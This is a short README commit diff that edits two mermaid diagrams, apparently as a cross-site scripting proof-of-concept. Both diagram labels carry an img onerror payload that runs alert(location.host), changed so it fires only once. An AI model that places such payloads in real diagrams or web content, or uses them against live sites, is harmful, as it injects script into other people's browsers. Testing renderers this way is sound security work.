update notes

README.md

@@ -2,11 +2,11 @@ notes
 
 ```mermaid
 erDiagram
-  A ||--o{ B : "<img src=x onerror=alert(location.host)>"
+  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
 ```
 
 ```mermaid
 sequenceDiagram
-  participant A as Alice<img src=x onerror=alert(location.host)>$$\text{A}$$
+  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
   A->>B: hi
 ```